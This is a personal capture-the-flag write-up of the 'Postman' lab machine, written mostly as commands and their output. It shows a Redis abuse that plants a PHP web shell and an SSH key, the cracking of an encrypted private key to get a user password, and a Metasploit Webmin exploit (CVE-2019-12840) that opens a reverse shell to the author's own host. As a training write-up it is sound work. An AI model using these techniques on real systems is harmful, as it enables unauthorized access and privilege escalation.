IP=10.129.2.1
nmap -Pn -p- -T4 -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP
# Starting Nmap 7.93 ( https://nmap.org ) at 2025-12-24 15:02 CET
# Nmap scan report for 10.129.2.1
# Host is up (0.031s latency).
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# | 2048 46834ff13861c01c74cbb5d14a684d77 (RSA)
# | 256 2d8d27d2df151a315305fbfff0622689 (ECDSA)
# |_ 256 ca7c82aa5ad372ca8b8a383a8041a045 (ED25519)
# 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
# |_http-server-header: Apache/2.4.29 (Ubuntu)
# |_http-title: The Cyber Geek's Personal Website
# 6379/tcp open redis Redis key-value store 4.0.9
# 10000/tcp open http MiniServ 1.910 (Webmin httpd)
# |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 36.84 seconds
curl -I http://10.129.2.1
# HTTP/1.1 200 OK
# Date: Wed, 24 Dec 2025 13:44:58 GMT
# Server: Apache/2.4.29 (Ubuntu)
# Last-Modified: Sun, 25 Aug 2019 18:34:23 GMT
# ETag: "f04-590f549ce0d74"
# Accept-Ranges: bytes
# Content-Length: 3844
# Vary: Accept-Encoding
# Content-Type: text/html
No hostname huh.
ReconSpider.py http://10.129.2.1
# 2025-12-24 14:59:03 [scrapy.utils.log] INFO: Scrapy 2.13.4 started (bot: scrapybot)
Nothing interesting, let's explore the site:

Ok let's fuzz:
ffuf -c -w `fzf-wordlists` -u "http://10.129.2.1/FUZZ"
#
# /'___\ /'___\ /'___\
# /\ \__/ /\ \__/ __ __ /\ \__/
# \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
# \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
# \ \_\ \ \_\ \ \____/ \ \_\
# \/_/ \/_/ \/___/ \/_/
#
# v2.1.0
# ________________________________________________
#
# :: Method : GET
# :: URL : http://10.129.2.1/FUZZ
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
# :: Follow redirects : false
# :: Calibration : false
# :: Timeout : 10
# :: Threads : 40
# :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
# ________________________________________________
#
# .hta [Status: 403, Size: 289, Words: 22, Lines: 12, Duration: 33ms]
# .htaccess [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 36ms]
# .htpasswd [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 36ms]
# css [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 29ms]
# fonts [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 34ms]
# images [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 31ms]
# index.html [Status: 200, Size: 3844, Words: 1027, Lines: 92, Duration: 31ms]
# js [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 35ms]
# server-status [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 29ms]
# upload [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 33ms]
# :: Progress: [4750/4750] :: Job [1/1] :: 1183 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
Upload + directory listing is enabled. Nothing in other directories.
redis-cli -h 10.129.2.1
10.129.2.1:6379> PING
# PONG
10.129.2.1:6379> INFO
# # Server
# redis_version:4.0.9
# redis_git_sha1:00000000
# redis_git_dirty:0
# redis_build_id:9435c3c2879311f3
# redis_mode:standalone
# os:Linux 4.15.0-58-generic x86_64
# arch_bits:64
# multiplexing_api:epoll
# atomicvar_api:atomic-builtin
# gcc_version:7.4.0
# process_id:664
# run_id:3639a71cdc1193e3af5f173bea18a132b24b4ebd
# tcp_port:6379
# uptime_in_seconds:1881
# uptime_in_days:0
# hz:10
# lru_clock:4977928
# executable:/usr/bin/redis-server
# config_file:/etc/redis/redis.conf
<SNIP>
CONFIG GET *
# 1) "dbfilename"
# 2) "dump.rdb"
# 3) "requirepass"
# 4) ""
# 5) "masterauth"
# 6) ""
# 7) "cluster-announce-ip"
# 8) ""
# 9) "unixsocket"
# 10) ""
# 11) "logfile"
# 12) "/var/log/redis/redis-server.log"
# 13) "pidfile"
# 14) "/var/run/redis/redis-server.pid"
<SNIP>
# 165) "dir"
# 166) "/var/lib/redis"
<SNIP>
CLIENT LIST
# id=5 addr=10.10.15.34:52092 fd=8 name= age=236 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=client
Let's see if we can write a webshell:
10.129.2.1:6379> config set dir /var/www/html/upload
# OK
10.129.2.1:6379> config set dbfilename shell.php
# OK
10.129.2.1:6379> set payload "<?php system($_GET['cmd']); ?>"
# OK
10.129.2.1:6379> save
# (error) ERR
config set stop-writes-on-bgsave-error no
# OK
I also tried with /var/www/html and finally with /tmp that last one worked, which confirms we can indeed upload files. The idea now is where?
One interseting thing I didn't realize at first, but only after reading a blog about redis RCE, the redis user is an actual system user, and we are being told their home directory via the configs /var/lib/redis, we might be able to write to /var/lib/redis/.ssh and add our own public key, they blog I linked shows this technique.
ssh-keygen -t ed25519
# Generating public/private ed25519 key pair.
# Enter file in which to save the key (/root/.ssh/id_ed25519):
# Enter passphrase (empty for no passphrase):
# Enter same passphrase again:
# Your identification has been saved in /root/.ssh/id_ed25519
# Your public key has been saved in /root/.ssh/id_ed25519.pub
# The key fingerprint is:
# SHA256:DrXdsrArTKCslDOdU0r7mSS7gzXtDQw0weqi05N7nm0 root@exegol-Postman
# The key's randomart image is:
# +--[ED25519 256]--+
# | ... |
# | + |
# | o . . |
# | . o.. . o . |
# |..+.O.. S o . |
# |.*oX =.o o o |
# |+o=.Oo= o . |
# |+.+o.BE. . |
# | ..*=.... |
# +----[SHA256]-----+
(echo -e "\n\n"; cat /root/.ssh/id_ed25519.pub; echo "\n\n") > pwn.txt
redis-cli -h 10.129.24.20 flushall
cat pwn.txt | redis-cli -h 10.129.24.20 -x set crackit
# telnet 10.129.24.20 6379
# Trying 10.129.24.20...
# Connected to 10.129.24.20.
# Escape character is '^]'.
config set dir /var/lib/redis/.ssh
# +OK
config set dbfilename authorized_keys
# +OK
save
# +OK
quit
# +OK
# Connection closed by foreign host.
ssh -i /root/.ssh/id_ed25519 redis@10.129.24.20
id
# uid=107(redis) gid=114(redis) groups=114(redis)
cat /etc/passwd | grep "sh$"
# root:x:0:0:root:/root:/bin/bash
# Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
# redis:x:107:114::/var/lib/redis:/bin/bash
cd /opt
ls
# id_rsa.bak
cat id_rsa.bak
# -----BEGIN RSA PRIVATE KEY-----
# Proc-Type: 4,ENCRYPTED
# DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
#
# JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
<SNIP>
# X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
# -----END RSA PRIVATE KEY-----
This is a 3DES encrypted private key, I suspect it's related to the Matt user, let's try to crack it:
ssh2john id_rsa.bak > id_rsa.hash
john --format=ssh --wordlist=`fzf-wordlists` hash.txt
# Using default input encoding: UTF-8
# Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
# Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 1 for all loaded hashes
# Cost 2 (iteration count) is 2 for all loaded hashes
# Will run 8 OpenMP threads
# Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
# computer2008 (id_rsa.bak)
# 1g 0:00:00:00 DONE (2025-12-25 09:23) 12.50g/s 3085Kp/s 3085Kc/s 3085KC/s confused6..colin22
# Use the "--show" option to display all of the cracked passwords reliably
# Session completed.
Ok nice! Let's try Matt:computer2008 via SSH with the key.
chmod 600 id_rsa.bak
ssh -i id_rsa.bak Matt@10.129.24.20
# Enter passphrase for key 'id_rsa.bak':
# Connection closed by 10.129.24.20 port 22
ssh Matt@10.129.24.20
# Matt@10.129.24.20's password:
# Permission denied, please try again.
Nope, also no comment on the key.
Last effort, I tried to just su Matt with that password, and well that worked!
su Matt
# Password:
Matt@Postman:/var/www$ id
# uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
cd ~
cat user.txt
Before moving on I was really curious on why I couldn't ssh:
cat /etc/ssh/sshd_config
# #deny users
# DenyUsers Matt
Ah yes.
Now that I we have working credentials for Matt, let's see if we can interact with the webmin service running on tcp/10000, this is a linux config/admin management UI, so pretty powerful stuff if not secured properly.

Nice it worked. We have access to the "Software Package Update" panel, this is interseting because there is a RCE as root for versions <= 1.910: CVE-2019-12840, the vuln was found by Akkus and he made a metasploit module for it:
msfconsole
use exploit/linux/http/webmin_packageup_rce
set PASSWORD computer2008
set USERNAME Matt
set RHOSTS 10.129.24.20
set LHOST 10.10.15.34
set SSL true
options
# Module options (exploit/linux/http/webmin_packageup_rce):
#
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# PASSWORD computer2008 yes Webmin Password
# Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
# RHOSTS 10.129.24.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
# RPORT 10000 yes The target port (TCP)
# SSL true no Negotiate SSL/TLS for outgoing connections
# TARGETURI / yes Base path for Webmin application
# USERNAME Matt yes Webmin Username
# VHOST no HTTP server virtual host
#
#
# Payload options (cmd/unix/reverse_perl):
#
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# LHOST 10.10.15.34 yes The listen address (an interface may be specified)
# LPORT 4444 yes The listen port
#
#
# Exploit target:
#
# Id Name
# -- ----
# 0 Webmin <= 1.910
run
run
# [*] Started reverse TCP handler on 10.10.15.34:4444
# [+] Session cookie: 2dcbd45f16c962936d5b628e1488d0d7
# [*] Attempting to execute the payload...
# [*] Command shell session 1 opened (10.10.15.34:4444 -> 10.129.24.20:60238) at 2025-12-25 09:52:41 +0100
id
# uid=0(root) gid=0(root) groups=0(root)
Weird shell that cmd/unix/reverse_perl I though it hanged for a moment, it's slow and doesn't show any $ or anything.
2025 © Philippe Cheype
Base theme by Digital Garden